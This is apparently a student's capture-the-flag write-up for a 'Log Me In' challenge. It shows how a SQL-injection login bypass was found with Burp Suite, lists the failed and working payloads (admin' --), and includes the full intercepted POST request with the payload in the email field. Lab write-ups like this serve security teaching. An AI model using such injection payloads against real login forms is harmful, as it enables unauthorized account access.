

Log Me In

For this challenge, I used Burp Suite to bypass the necessity of including “@” and excluding spaces from my username. I figured out that I needed to enter a malicious payload as the email address because entering a single quote as the email address gave me a 500 response but entering a single quote as the password did not.

Some failed attempts (input for email address):

“admin'--@hi” ==> http 500

“'1=1--@hi” ==> http 500

Correct input:

“admin' – ” ==> flag

I edited the following request intercepted in burp suite:

The screenshot displays the Burp Suite interface with an intercepted HTTP POST request to `http://offset-chalbroker.osiris.cyber.nyu.edu:1240`. The request body is shown in the "Raw" tab, and the "Inspector" panel on the right highlights the "email" parameter. The parameter value is `admin'%20--%20password=pass`, which is decoded from URL encoding to `admin' -- password=pass`.

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1 POST /login.php HTTP/1.1
2 Host: offset-chalbroker.osiris.cyber.nyu.edu:1240
3 Content-Length: 31
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://offset-chalbroker.osiris.cyber.nyu.edu:1240
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://offset-chalbroker.osiris.cyber.nyu.edu:1240/login.php?
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.8
13 Cookie: CHALLENGER_USER_ID=aga8870; PHPSESSID=n6fqmujt0urial48v0pmghfre4
14 Connection: close
15
16 email=admin'%20--%20password=pass
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Inspector panel details:

Name	Value
email	admin'%20--%20password=pass

Decoded from: URL encoding
admin' -- password=pass